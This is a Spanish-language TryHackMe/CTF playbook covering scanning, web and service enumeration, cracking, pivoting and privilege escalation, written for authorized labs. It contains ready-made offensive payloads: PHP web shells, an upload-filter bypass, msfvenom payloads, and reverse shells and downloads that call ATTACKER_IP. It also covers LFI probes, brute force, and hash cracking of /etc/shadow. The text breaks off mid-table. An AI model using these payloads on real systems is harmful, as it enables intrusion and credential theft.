

THM Master Playbook

Indice interactivo con enlaces internos a cada seccion

Uso previsto: rooms de TryHackMe, CTFs y laboratorios autorizados. Pulsa cualquier fila del indice para saltar al modulo correspondiente.

Indice

#	Seccion	Pagina	Fuente
1	Base general THM / CTF Mapa general, servicios, web, shells, cracking, privesc minima y workflow.	3	Try Hack Me Ctf Cheatsheet.pdf
2	Ultra quick start Hoja minima para arrancar cualquier room: preparar, descubrir, enumerar, acceder, escalar y cerrar.	26	THM_GUIDE_2026-07-02_ultra-quick-start.pdf
3	Arquetipos de rooms Tabla de diagnostico rapido para reconocer el tipo de room y elegir una ruta de trabajo.	27	THM_GUIDE_2026-07-02_room-archetypes.pdf
4	Windows local privilege escalation Post-exploit Windows fuera de AD: privilegios, servicios, tareas, registry, credenciales y winPEAS.	29	THM_GUIDE_2026-07-02_windows-local-privilege-escalation.pdf
5	Pivoting y tunneling Decision tree para SSH, chisel, ligolo-ng, proxychains, rutas internas y validacion de pivots.	32	THM_GUIDE_2026-07-02_pivoting-tunneling.pdf
6	Web moderna y APIs Checklist para IDOR/BOLA, JWT, OAuth basico, GraphQL, SSRF, XXE, NoSQLi, uploads y command injection.	34	THM_GUIDE_2026-07-02_web-modern-api-testing.pdf
7	Windows Active Directory Workflow AD con SMB/RID, credenciales, Kerberos, BloodHound y movimiento.	37	THM_GUIDE_2026-06-30_active-directory-workflow.pdf
8	Linux privilege escalation Enumeracion post-shell, sudo, SUID/SGID, capabilities, cron, systemd, contenedores y automatizacion.	56	THM_GUIDE_2026-07-01_linux-privilege-escalation.pdf
9	Metodologia CVE/exploit Como verificar versiones, evaluar PoCs, adaptar exploits y evitar falsos positivos o impactos destructivos.	82	THM_GUIDE_2026-07-02_cve-exploit-methodology.pdf
10	Credenciales, cracking y loot Fuentes de credenciales, conversiones john, hashcat, KeePass, backups, history files y reutilizacion controlada.	84	THM_GUIDE_2026-07-02_credentials-cracking-loot.pdf
11	Plantilla de room/writeup Estructura para registrar evidencia, comandos, credenciales, decisiones y cadena de ataque reproducible.	86	THM_GUIDE_2026-07-02_room-writeup-template.pdf
12	Equivalencias Windows/Linux Tabla rapida para traducir comandos comunes entre Linux, Windows CMD y PowerShell durante rooms.	88	THM_GUIDE_2026-07-02_terminal-command-equivalences.pdf
13	Errores tipicos Problemas frecuentes en THM y como desbloquearlos rapido.	90	THM_GUIDE_2026-07-02_common-errors.pdf
14	Checklist de atasco Preguntas para cuando llevas rato sin avanzar.	91	THM_GUIDE_2026-07-02_stuck-checklist.pdf
15	SQL Injection y SQLMap Payloads manuales, UNION/blind/time-based, SQLMap avanzado y mitigacion.	92	Guía Sql Injection Avanzada.pdf
16	WordPress red teaming / CTF Fingerprinting WP, WPScan, plugins/temas, XML-RPC, fuzzing, post-auth y shells.	100	Cheatsheet Word Press Red Teaming Ctf.pdf

Mapa de uso rapido

Pulsa una fila para saltar al modulo recomendado.

Si ves...	Salta a...
No sabes por donde empezar	Ultra quick start
No sabes que tipo de room parece	Arquetipos de rooms
Shell en Windows sin ruta clara a admin	Windows local privilege escalation
Servicio interno no accesible desde Kali	Pivoting y tunneling
API, JWT, GraphQL, SSRF, upload o auth rara	Web moderna y APIs
Dominio Windows/AD	Windows Active Directory
Shell Linux y necesitas root	Linux privilege escalation
Version vulnerable o exploit publico dudoso	Metodologia CVE/exploit
Hash, backup, KeePass, config o credencial candidata	Credenciales, cracking y loot
Te pierdes entre hallazgos o quieres writeup limpio	Plantilla de room/writeup
Comando de Windows y no sabes el equivalente Linux	Equivalencias Windows/Linux
Una herramienta falla con un error raro	Errores tipicos
Llevas rato sin avanzar	Checklist de atasco
SQLi o parametros sospechosos	SQL Injection y SQLMap
WordPress detectado	WordPress red teaming / CTF
Quieres la chuleta general completa	Base general THM / CTF

Notas

- El visor de PDF tambien deberia mostrar marcadores laterales.
- Las paginas indicadas son paginas del PDF final, no paginas internas de cada anexo.
- Los enlaces se aplican sobre la fila completa para que sea facil pulsarlos.

TryHackMe / CTF — Cheatsheet de comandos (organizado por fase y objetivo)

Uso previsto: laboratorios/CTF con permiso (TryHackMe, HTB, etc.). Ajusta **IP/host**, **puertos**, **rutas** y **wordlists** según el entorno.

Mapa rápido (si veo X, hago Y)

Señal	Qué probar primero
80/443	Web enum: <code>curl/whatweb</code> , <code>robots.txt</code> , <code>feroxbuster/ffuf</code> , Burp
445/139	SMB: <code>smbclient</code> , <code>smbmap</code> , <code>enum4linux</code> , <code>crackmapexec</code>
53	DNS: <code>dig</code> , <code>dnsrecon</code> , (AXFR si hay dominio)
25/587	SMTP: <code>nc</code> , <code>smtp-user-enum</code>
161	SNMP: <code>snmpwalk</code> , <code>onesixtyone</code>
2049	NFS: <code>showmount</code> , <code>mount</code>
3389	RDP: <code>xfreerdp</code>
DB interna	Pivoting: <code>ssh -L/-D</code> (o <code>chisel</code>)
Ya dentro (Linux)	<code>sudo -l</code> , SUID, caps, cron/timers, credenciales en <code>/var/www</code>
Ya dentro (Windows)	<code>whoami /priv</code> , <code>systeminfo</code> , <code>net user</code> , <code>schtasks</code>

Placeholders (estándar)

- `$IP` (objetivo), `$URL` (web), `ATTACKER_IP` (tu máquina), `LPORT` (tu puerto listener)

0) Preparación rápida

Resolver nombres / virtual hosts

- Editar hosts (cuando el servicio usa nombre):

```
sudo nano /etc/hosts
# Ejemplo
10.10.10.10 target.local
```

Variables útiles

```
export IP=10.10.10.10
export URL=[http://target.local](http://target.local)
```

1) Reconocimiento de red (port scanning)

Nmap (base → detalle)

- Escaneo completo TCP (descubrimiento):

```
nmap -p- -T4 --min-rate 3000 -oN nmap_alltcp.txt $IP
```

- Enumeración de servicios (sobre puertos hallados):

```
nmap -p 22,80,443 -sC -sV -oN nmap_services.txt $IP
```

- Calidad de vida (output completo + grep "open"):

```
nmap -sS -p- --min-rate 3000 -T4 -oA nmap_full $IP  
grep -n "open" nmap_full.nmap
```

- Detección de SO (si procede):

```
nmap -O --osscan-guess -oN nmap_os.txt $IP
```

- NSE típico por servicio (ejemplos útiles, sin saturar):

```
nmap -p445 --script smb-enum-shares,smb-enum-users -oN nmap_smb_nse.txt $IP  
nmap -p80 --script http-title,http-headers,http-methods -oN  
nmap_http_nse.txt $IP
```

- Nota: `-Pn` (sin ping) si el host filtra ICMP/ARP:

```
nmap -Pn -sC -sV -p 22,80 $IP
```

Rustscan (descubrir puertos muy rápido)

```
rustscan -a $IP --ulimit 50000 -- -sC -sV -oN nmap_from_rustscan.txt
```

UDP (cuando sospeches DNS/SNMP/TFTP, etc.)

```
sudo nmap -sU --top-ports 200 -sV -oN nmap_udp.txt $IP
```

2) Enumeración de servicios específicos (SMB, FTP, SSH, etc.)

SMB (Samba / shares)

Si ves 139/445, enumera shares, permisos y acceso anónimo.

- Listar shares (null session):

```
smbclient -L //$IP/ -U ""
```

- Listar shares con usuario:

```
smbclient -L //$IP/ -U "usuario"
```

- Conectarte a un share:

```
smbclient //$IP/SHARE_NAME -U "usuario"
```

- Enumeración automatizada:

```
enum4linux -a $IP  
smbmap -H $IP
```

FTP

- Probar anonymous:

```
ftp $IP  
# user: anonymous  
# pass: anonymous (o vacío)
```

- "Mirror" recursivo (si el servidor lo permite):

```
wget -m "ftp://anonymous:anonymous@$IP/"
```

3) Enumeración web (HTTP/HTTPS)

Identificación y huella

- Cabeceras/respuesta:

```
curl -v $URL/
```

- Seguir redirecciones y mostrar cabeceras:

```
curl -IL $URL/
```

- Fingerprinting:

```
whatweb -a 3 $URL/
```

- (Opcional) Scanner de misconfig conocidas:

```
nikto -h $URL
```

- WPScan (si detectas WordPress):

```
# Enumeración típica (plugins, themes, users)
wpscan --url $URL --enumerate p,t,u
```

- Variantes útiles (según lab):

```
# Forzar análisis si WP está "oculto" tras redirects o WAF suave
wpscan --url $URL --force --random-user-agent

# Detección de plugins más fiable (a costa de más requests)
wpscan --url $URL --plugins-detection mixed --enumerate p,t,u

# Con token de la WPScan API (mejora detección de vulnerabilidades conocidas)
# export WPSCAN_API_TOKEN='TU_TOKEN'
wpscan --url $URL --api-token $WPSCAN_API_TOKEN --enumerate vp,vt,cb,dbe

# Brute force (solo CTF/lab y con rate moderado)
wpscan --url $URL --usernames users.txt --passwords /usr/share/wordlists/rockyou.txt --max-threads 5
```

WordPress playbook (qué hacer cuando detectas WP)

1) Confirmar WordPress y sacar huella rápido

```
# Indicadores típicos
curl -sS -I $URL/wp-login.php | head
curl -sS -I $URL/wp-admin/ | head
curl -sS $URL/ | grep -iE "wp-content|wp-includes" | head

# Versionado "visible" (si no está oculto)
curl -sS $URL/readme.html | head
curl -sS -I $URL/xmlrpc.php | head
```

2) Enumerar usuarios (si el entorno lo permite)

En muchos CTFs hay enumeración por autor o por REST API.

```
# REST API (si está habilitada)
curl -sS "$URL/wp-json/wp/v2/users?per_page=100" | head

# Autor (a veces redirige a /author/<user>/)
curl -sS -I "$URL/?author=1" | head
```

3) Enumerar plugins/temas y superficie de ataque

```
# Enumeración con WPScan (rápido y completo)
wpscan --url $URL --enumerate p,t,ap,at,u

# Enumeración "manual" de rutas típicas (cuando WPScan no da todo)
ffuf -u "$URL/wp-content/plugins/FUZZ/" -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt -fc 404 -t 50
ffuf -u "$URL/wp-content/themes/FUZZ/" -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-themes.fuzz.txt -fc 404 -t 50
```

4) Revisar misconfiguraciones comunes (CTF)

```
# Endpoints informativos (a veces filtran versión o rutas)
curl -sS $URL/wp-json/ | head
curl -sS $URL/wp-cron.php | head

# Directorios donde suelen quedar ficheros "jugosos" en labs
curl -sS -I $URL/wp-content/uploads/ | head

# Backups típicos en web roots (ya tienes búsqueda genérica; esto es WP-focused)
ffuf -u "$URL/FUZZ" -w <(printf "wp-config.php.bak
wp-config.php~
wp-config.php.old
wp-config.php.swp
") -fs 0
```

5) Triage de vulnerabilidades

- Con la versión de WP + lista de plugins/temas, prioriza: plugins instalados, plugins desactualizados, y endpoints expuestos.
- Apóyate en: `wpscan --api-token ... --enumerate vp,vt` y `searchsploit` (por nombre/versión del plugin/tema).

6) Si obtienes acceso a wp-admin (CTF)

- Revisa **Usuarios/Roles, Plugins, Ajustes**, y funcionalidades de **upload/import**.

- En labs, muchas escaladas vienen de *plugins vulnerables*, *credenciales reutilizadas* o *ficheros subidos a uploads*.

Nota operativa: en WP, el ratio de “señal/ruido” mejora mucho si combinas WPScan + enumeración de `wp-content/` + revisión de `uploads/` y REST API.

Web Shells (Ofensivo - Payloads y Generación)

1) PHP One-Liners (Ejecución rápida de comandos)

Útil para confirmar RCE (Remote Code Execution) sin subir archivos pesados.

- **Web Shell básica (GET):**

```
<?php system($_GET['cmd']); ?>
```

Uso: `curl http://target/shell.php?cmd=id`

- **Bypass de filtros (si `` está bloqueado):**

```
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
```

2) Reverse Shells "Nativas" (Archivos listos en Kali)

No escribas código desde cero; usa los scripts probados que ya tienes en tu máquina atacante.

- **PHP (El estándar para WordPress/Linux):**

```
cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php
# ¡IMPORTANTE! Edita las líneas: $ip = 'TU_IP_ATACANTE'; y $port = 4444;
```

- **Windows (ASPX para servidores IIS):**

```
cp /usr/share/webshells/aspx/cmd.aspx .
```

3) Generación de Payloads con MSFVenom

Genera binarios o scripts específicos cuando las shells estándar fallan. Ajusta `LHOST` (tu IP) y `LPORT`.

- **PHP Reverse Shell (Raw - ideal para inyección):**

```
msfvenom -p php/reverse_php LHOST=$IP LPORT=4444 -f raw > shell.php
```

- **Windows IIS (ASPX):**

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=4444 -f aspx > shell.aspx
```

- **JSP (Java/Tomcat/Jenkins):**

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=4444 -f raw > shell.jsp
```

- **WAR (Despliegue en Tomcat):**

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=4444 -f war > shell.war
```

4) Magic Bytes (Bypass de filtros de subida)

Si el servidor verifica el tipo de archivo (magic numbers) para aceptar solo imágenes.

- GIF89a (Cabecera de GIF falsa):

Añade esto al inicio de tu archivo PHP:

```
GIF89a;  
<?php system($_GET['cmd']); ?>
```

Guardar como: `shell.php.gif` o `shell.gif.php` (si permite doble extensión).

Quick web triage + crawling (alta rentabilidad)

- Buscar “secretos” típicos rápidamente:

```
curl -sS $URL/robots.txt  
curl -sS $URL/sitemap.xml  
curl -sS $URL/.git/HEAD  
curl -sS $URL/.env  
curl -sS $URL/.DS_Store
```

- Crawl ligero (si lo usas):

```
katana -u $URL -d 3
```

- Descubrir parámetros (muy útil en paneles):

```
arjun -u "$URL/page.php"
```

Triaje de vulnerabilidades web comunes (CTF)

LFI (Local File Inclusion)

Señales típicas: parámetros como `file=`, `page=`, `template=`, `lang=`.

- Pruebas rápidas:

```
?page=../../../../etc/passwd
?page=..%2f..%2f..%2f..%2fetc%2fpasswd
?page=....//....//....//....//etc/passwd
```

- Si hay filtros de extensión, prueba wrappers (según stack):

```
?page=php://filter/convert.base64-encode/resource=index.php
```

SSTI (Server-Side Template Injection)

Objetivo: confirmar evaluación de plantilla (no explotar a ciegas).

- Payloads de confirmación (copiar/pegar):

<code>{{7*7}}</code>	# Jinja2 / Twig (suele devolver 49)
<code>\${7*7}</code>	# Algunos motores (depende)
<code><%= 7*7 %></code>	# ERB (Ruby)

- Si confirmas SSTI: identifica motor y usa payloads específicos del entorno del lab.

4) Descubrimiento de contenido (directorios, ficheros, vhosts)

Dirb (simple)

```
dirb $URL /usr/share/wordlists/dirb/common.txt
```

Gobuster (dir)

```
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
-t 50
```

FFUF (rápido y flexible)

- Directorios/archivos:

```
ffuf -u "$URL/FUZZ" -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html -fc 404 -t 50
```

- VHOST (si sospechas vhosts):

```
ffuf -u "$URL/" -H "Host: FUZZ.target.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
```

- Parámetros GET (fuzz de parámetros):

```
ffuf -u "$URL/page.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
```

Tips útiles:

- `-fc` filtra códigos (ej. `-fc 404,403`) y `-fs` filtra por tamaño.
- `-rate` limita peticiones/seg para no romper el lab.

5) Credenciales y fuerza bruta (cuando procede)

En CTF suele haber diccionario cerca (p. ej. `dict.lst`) o credenciales por defecto.

Hydra — SSH

```
hydra -l USER -P /usr/share/wordlists/rockyou.txt -s 22 -t 4 $IP ssh
```

Hydra — HTTP POST (formularios)

- Ejemplo genérico (ajusta ruta, parámetros y error string):

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid" -V
```

FTP anónimo

```
ftp $IP
# user: anonymous
# pass: (vacío o anonymous)
```

6) SSH (acceso y llaves)

Conectar con clave privada

```
chmod 600 id_rsa  
ssh -i id_rsa user@$IP
```

Crack de passphrase de id_rsa con John

```
ssh2john id_rsa > id_rsa.hash  
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash  
john --show id_rsa.hash
```

Pivoting y túneles (muy frecuente en THM)

SSH Local Port Forward (ver un servicio interno desde tu máquina)

```
# Ejemplo: exponer el 80 local de la víctima en tu 8080  
ssh -L 8080:127.0.0.1:80 user@$IP  
  
# Ejemplo: exponer una DB interna (3306) en tu 13306  
ssh -L 13306:127.0.0.1:3306 user@$IP
```

SSH SOCKS Proxy (para proxychains)

```
ssh -D 1080 user@$IP  
# En /etc/proxychains4.conf: socks5 127.0.0.1 1080  
# Luego: proxychains curl [http://127.0.0.1:80/](http://127.0.0.1:80/)
```

Chisel (opción estándar en labs, cuando SSH no encaja)

```
# atacante  
./chisel server --reverse -p 8001  
  
# víctima (SOCKS reverse, te deja un socks en 127.0.0.1:1080 en tu máquina)  
./chisel client ATTACKER_IP:8001 R:1080:socks
```

7) Extracción de información de ficheros (forense ligero en CTF)

Metadatos

```
exiftool image.jpg
strings -n 6 file.bin | less
file suspicious
```

Steghide (esteganografía)

```
steghide info image.jpg
steghide extract -sf image.jpg
# si pide passphrase: prueba con pistas/wordlist
```

8) Cracking de hashes (John / Hashcat)

Antes de crackear: identificar hash y preparar wordlists

- Identificar hash:

```
hashid 'HASH'
hash-identifier
```

- Generar wordlist desde contenido web (muy típico en CTF):

```
cewl -d 3 -m 5 [http://target.local](http://target.local) -w cewl.txt
```

- Reglas rápidas (John) para exprimir diccionarios:

```
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt
```

John (patrón correcto)

- Crackear un hash file:

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
```

- Detectar formato (si duda):

```
john --list=formats | head
john --format=... --wordlist=... hashes.txt
```

/etc/shadow (si lo tienes)

- Extraer hash (línea de root) y crackear:

```
grep '^root:' /etc/shadow > root_hash.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
```

Hashcat (ejemplo típico bcrypt = 3200, sha512crypt = 1800, etc.)

```
hashcat --help | head  
hashcat -m 1800 -a 0 root_hash.txt /usr/share/wordlists/rockyou.txt  
hashcat -m 1800 --show root_hash.txt
```

9) SQL Injection (automatizado con sqlmap)

Con request guardada (Burp)

```
sqlmap -r login.req --batch
```

Con POST directo

```
sqlmap -u "$URL/login.php" --data "username=1&password=1" --batch
```

Enumeración típica

```
sqlmap -r login.req --batch --dbs  
sqlmap -r login.req --batch -D DBNAME --tables  
sqlmap -r login.req --batch -D DBNAME -T users --columns  
sqlmap -r login.req --batch -D DBNAME -T users -C username,password --dump
```

10) Netcat, OpenSSL y conexiones

Netcat (cliente)

```
nc -v $IP 9009
```

Netcat (listener para reverse shell)

```
nc -lvnp 4444
```

- Con readline/historial (recomendado):

```
rlwrap nc -lvnp 4444
```

SSL/TLS (inspección y conexión)

```
openssl s_client -connect $IP:443 -servername target.local
```

Con certificado/clave (caso especial)

```
openssl s_client -connect $IP:PORT -cert client.crt -key client.key
```

11) Reverse shells (patrones rápidos)

Elige según binarios disponibles. Siempre prepara listener antes.

Transferencia de archivos (en laboratorio)

- Servir desde tu máquina:

```
# Por defecto escucha en 8000
python3 -m http.server 8000

# Si quieres 80, necesitas permisos elevados:
sudo python3 -m http.server 80
```

- Descargar en Linux:

```
wget http://ATTACKER_IP:8000/fichero -O fichero
curl -fsSL http://ATTACKER_IP:8000/fichero -o fichero
```

- Descargar en Windows (cuando no hay wget/curl):

```
# certutil
certutil.exe -urlcache -f http://ATTACKER_IP:8000/file.exe C:\Windows\Temp\file.exe

# PowerShell
powershell -c "Invoke-WebRequest http://ATTACKER_IP:8000/file.exe -OutFile C:\Windows\Temp\file.exe"
```

Bash + /dev/tcp

```
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
```

Python (reverse shell)

```
python3 -c 'import
socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",
4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),
2);subprocess.call(["/bin/sh","-i"])'
```

Netcat (si soporta -e)

```
nc -e /bin/sh ATTACKER_IP 4444
```

Mkfifo (tu ejemplo, robusto)

```
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
```

“Dropper” (crear script y ejecutarlo)

```
cat > /tmp/rev.sh << 'EOF'
#!/bin/sh
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
EOF
chmod +x /tmp/rev.sh
/tmp/rev.sh
```

12) Estabilizar/“upgrade” shell (TTY)

Con Python

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
reset
```

Sin Python (alternativas)

```
script /dev/null -c bash
/bin/bash -i
/bin/sh -i
```

13) Enumeración local (post-exploit)

Identidad y grupos

```
id
whoami
groups
```

Info de sistema (útil para privesc por kernel / distro)

```
uname -a
cat /etc/issue
```

Red local y servicios internos (descubre "cosas invisibles" desde fuera)

```
ip a
ip r
ss -lntup
```

Historial y credenciales (quick wins)

```
env | sort
cat ~/.bash_history 2>/dev/null

# Credenciales típicas en apps web
grep -RIn "password\\|passwd\\|secret\\|token\\|key" /var/www 2>/dev/null | head

# Versionado de sudo (para CVEs/misconfig en labs)
sudo -V | head
```

Sudoers

```
sudo -l
```

Procesos/servicios/tareas

```
ps aux | head
systemctl list-timers --all | head -n 80
cat /etc/crontab
ls -la /etc/cron* 2>/dev/null | head -n 200
```

SUID/SGID

```
find / -perm -4000 -type f 2>/dev/null  
find / -perm -2000 -type f 2>/dev/null
```

Capabilities

```
getcap -r / 2>/dev/null
```

Búsqueda de “flags” y ficheros interesantes

```
find / -name "flag*.txt" 2>/dev/null  
find / -name "root.txt" 2>/dev/null  
find / -name "*.bak" -o -name "*.old" -o -name "*.swp" 2>/dev/null
```

Enumeración automatizada (muy común en CTF)

- LinPEAS:

```
chmod +x linpeas.sh  
./linpeas.sh
```

- pspy (tareas/cron en vivo):

```
./pspy64
```

Windows (si la víctima es Windows) — mínimo que cubre mucho

```
whoami  
whoami /priv  
systeminfo  
ipconfig /all  
net user  
net localgroup administrators  
schtasks /query /fo LIST /v
```

Windows / Active Directory (ofensivo, para entrar y moverte)

WinRM (5985/5986) — Evil-WinRM (estándar)

Cuando tienes credenciales y WinRM está abierto.

```
evil-winrm -i $IP -u USER -p 'PASS'  
# o con hash NTLM (si procede)  
evil-winrm -i $IP -u USER -H NTLM_HASH
```

Impacket (ejecución remota típica)

Requiere SMB y credenciales válidas. Útil para obtener shell sin RDP.

```
# PSEXEC (servicio remoto)  
psexec.py DOMAIN/USER:'PASS'@$IP  
  
# WMIEXEC (menos ruidoso en algunos labs)  
wmiexec.py DOMAIN/USER:'PASS'@$IP  
  
# SMBEXEC (alternativa)  
smbexec.py DOMAIN/USER:'PASS'@$IP
```

Kerberos / AD “quick hits”

- Kerbrute (enumeración de usuarios sin lockout, según política):

```
kerbrute userenum --dc $IP -d DOMAIN users.txt
```

- BloodHound (mapeo de relaciones/paths a DA):
- Recolector típico: **SharpHound** (en Windows)
- Analítica: **BloodHound** (GUI)

Nota: en labs/CTF, suele bastar con recordar “ejecutar SharpHound y subir el zip a BloodHound”.

- Herramientas típicas (recordatorio): **winPEAS**, **Seatbelt**, **PowerView**, **BloodHound/SharpHound** (según lab).

14) PrivEsc — checklist mínima

1) Misconfig de sudo

- Si `sudo -l` permite un binario, busca en GTFOBins la técnica (en CTF suele ser directo).

2) SUID/SGID explotables

- Revisa binarios “raros” o interpretadores (python, bash, find, vim, etc.).

3) Capabilities peligrosas

- Ej. `cap_dac_read_search`, `cap_setuid`, `cap_sys_ptrace`.

4) Cron jobs / timers

- Scripts editables por tu usuario, rutas con permisos laxos, PATH hijacking.

5) Credenciales en texto plano

```
grep -R "pass\\|passwd\\|password\\|secret\\|token\\|key" -n /etc 2>/dev/null | head
find / -name "*.php" -o -name "*.yaml" -o -name "*.env" 2>/dev/null | head
```

15) GPG / PGP (.asc / .pgp)

Flujo típico

```
gpg --import private.asc
# si tiene passphrase, puedes extraer hash y crackearlo

gpg2john private.asc > private.hash
john --wordlist=/usr/share/wordlists/rockyou.txt private.hash

# con la passphrase
gpg --decrypt backup.pgp > backup.txt
```

16) Metasploit (muy básico para no perderse)

```
msfconsole
# En sesión meterpreter:
getuid
sysinfo
shell
```

17) Mini “workflow” recomendado (orden mental)

- 1) Descubrir superficie: nmap/rustscan
- 2) Enumerar servicios: nmap -sC -sV + manual (curl/whatweb)
- 3) Enumerar web: dir/ffuf/gobuster + revisión manual
- 4) Buscar credenciales: ficheros, backups, endpoints, default creds
- 5) Acceso inicial: ssh/ftp/rce/revshell
- 6) Estabilizar shell
- 7) Enumeración local (linpeas/pspy)
- 8) PrivEsc (sudo -l, SUID, caps, cron, credenciales)
- 9) Leer flags

18) Notas de corrección sobre tus apuntes

- `john /usr/share/wordlist/rockyou.txt [IP]` no es el patrón correcto. John necesita un **archivo de hashes** y normalmente se usa `--wordlist=...`.
- Si ves `405 Method Not Allowed`, suele ser porque estás usando un método HTTP no aceptado para esa ruta o el servicio está en **otro puerto/otra ruta**. Nota: `python3 -m http.server` por defecto escucha en `8000`, así que si tu server está en `:8000` y descargas desde `:80`, fallará aunque la IP sea correcta. Prueba `curl -I`, `OPTIONS`, revisa puerto y URL.

19) Extensiones/wordlists recomendadas (Kali)

- Dir/content:
- `/usr/share/wordlists/dirb/common.txt`
- `/usr/share/seclists/Discovery/Web-Content/`
- Passwords:
- `/usr/share/wordlists/rockyou.txt`

Si quieres, puedes ir pegando aquí una sala concreta (IP/servicios encontrados y lo que has visto en web), y te digo qué sección aplicar primero y qué comandos exactos encadenar (sin saltarnos el flujo).

Apéndice — Ampliaciones recomendadas para dejarlo “redondo”

1) Enumeración por servicios “clásicos”

DNS (53)

```
dig @IP any target.local
dig @IP axfr target.local

dnsrecon -d target.local -n IP
```

SMTP (25/587)

```
nc -nv IP 25
smtp-user-enum -M VRFY -U users.txt -t IP
```

SNMP (161)

```
snmpwalk -v2c -c public IP 1.3.6.1.2.1
onesixtyone -c community.txt IP
```

NFS (2049)

```
showmount -e IP
sudo mkdir -p /mnt/nfs
sudo mount -t nfs IP:/share /mnt/nfs -o nolock
```

RDP (3389)

```
xfreerdp /v:IP /u:USER /p:'PASS' /cert:ignore
```

MySQL / PostgreSQL

```
mysql -h IP -u user -p
psql -h IP -U user
```

SMB “moderno” (rápido en CTF): CrackMapExec

Complementa `smbclient/enum4linux/smbmap` con una enumeración ultra-rápida.

```
crackmapexec smb IP -u '' -p '' --shares
crackmapexec smb IP -u user -p pass --users
```

2) Recon/escaneo: aceleradores

Masscan (descubrimiento ultra-rápido; valida después con Nmap)

```
sudo masscan -p1-65535 IP --rate 10000
```

Nmap “calidad de vida”

```
nmap -sS -p- --min-rate 3000 -T4 -oA nmap_full IP
grep -n "open" nmap_full.nmap
```

3) Web: hábitos y herramientas que dan resultados

Feroxbuster (recursivo y muy productivo)

```
feroxbuster -u $URL -x php,txt,html -t 50
```

Dirsearch (alternativa muy usada; control fino de filtros)

Útil para brute-force de rutas con buena gestión de exclusiones, cabeceras y proxy.

- Descubrimiento básico con extensiones:

```
dirsearch -u $URL -e php,txt,html -t 50
```

- Elegir wordlist (Seclists) y excluir códigos típicos:

```
dirsearch -u $URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e php,html,txt -x 404,403 -t 50
```

- Seguir redirecciones y usar User-Agent aleatorio:

```
dirsearch -u $URL -e php,html,txt --follow-redirects --random-agent -t 50
```

- Enviar cabeceras/cookies (sesión autenticada):

```
dirsearch -u $URL -e php,html,txt -H "Cookie: PHPSESSID=..." -H "Authorization: Bearer ..." -t 50
```

- Pasar por Burp (proxy) para inspeccionar tráfico:

```
dirsearch -u $URL -e php,html,txt --proxy [http://127.0.0.1:8080](http://127.0.0.1:8080) -t 30
```

- Filtrar por tamaño/longitud cuando hay "soft 404" (ajusta al caso):

```
dirsearch -u $URL -e php,html,txt --exclude-sizes 0,1234 --exclude-texts "Not Found" -t 50
```

Enumeración manual rápida (siempre)

```
curl -sS http://target/robots.txt
curl -sS http://target/sitemap.xml
curl -sS -I http://target/
```

Fuzz de parámetros y POST (paneles/login)

```
ffuf -u "http://target/page.php?FUZZ=1"
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0
```

```
ffuf -u "http://target/login" -X POST -d "user=FUZZ&pass=test"
-w users.txt -fs 0
```

Burp Suite (herramienta base)

- Capturar request y pasársela a `sqlmap` con `-r`.
- Repetir peticiones, revisar cookies/sesiones, tokens CSRF, parámetros ocultos, redirects.

4) Búsqueda de exploits y triage tras sacar versiones (-sV)

Searchsploit (Exploit-DB)

```
searchsploit "Apache 2.4.49"
searchsploit -m <id>
```

Nmap NSE "típico" por servicio (sin saturar)

```
nmap -p445 --script smb-enum-shares,smb-enum-users IP
nmap -p80 --script http-title,http-headers,http-methods IP
```

5) Transferencia de archivos: alternativas cuando falla wget/curl

SCP / SFTP (si tienes credenciales SSH)

```
scp file user@IP:/tmp/

sftp user@IP
# put file /tmp/file
```

Netcat (transferencia simple)

```
# atacante
nc -lvp 9001 < linpeas.sh
# víctima
nc ATTACKER_IP 9001 > /tmp/linpeas.sh
```

Base64 (cuando no puedes descargar)

```
base64 -w0 file | tee /tmp/file.b64
base64 -d /tmp/file.b64 > file
```

6) Post-exploit y privesc: checks “quick wins”

Quick wins de entorno

```
ip a; ip r; ss -lntup  
env | sort  
cat ~/.bash_history 2>/dev/null  
find / -writable -type d 2>/dev/null | head
```

Caso muy frecuente en CTF: pertenecer a docker o lxd

```
id  
groups
```

Si estás en grupos como `docker` o `lxd`, suele haber ruta directa a escalada (según configuración del lab).

Ajustes editoriales recomendados

- En rutas de Seclists, usa siempre `Discovery/Web-Content/` (sin caracteres raros).
- En comandos largos (`ffuf`, `hydra`, etc.), ponlos en **una sola línea** o usando `\` al final para evitar errores al copiar/pegar.

Ultra Quick Start - Flujo minimo para rooms THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Pagina de arranque rapido para no quedarse mirando la terminal. Descubre superficie, enumera lo que exista, busca credenciales o bugs, consigue acceso, escala y documenta.

1. Flujo minimo

Fase	Accion minima	Resultado esperado
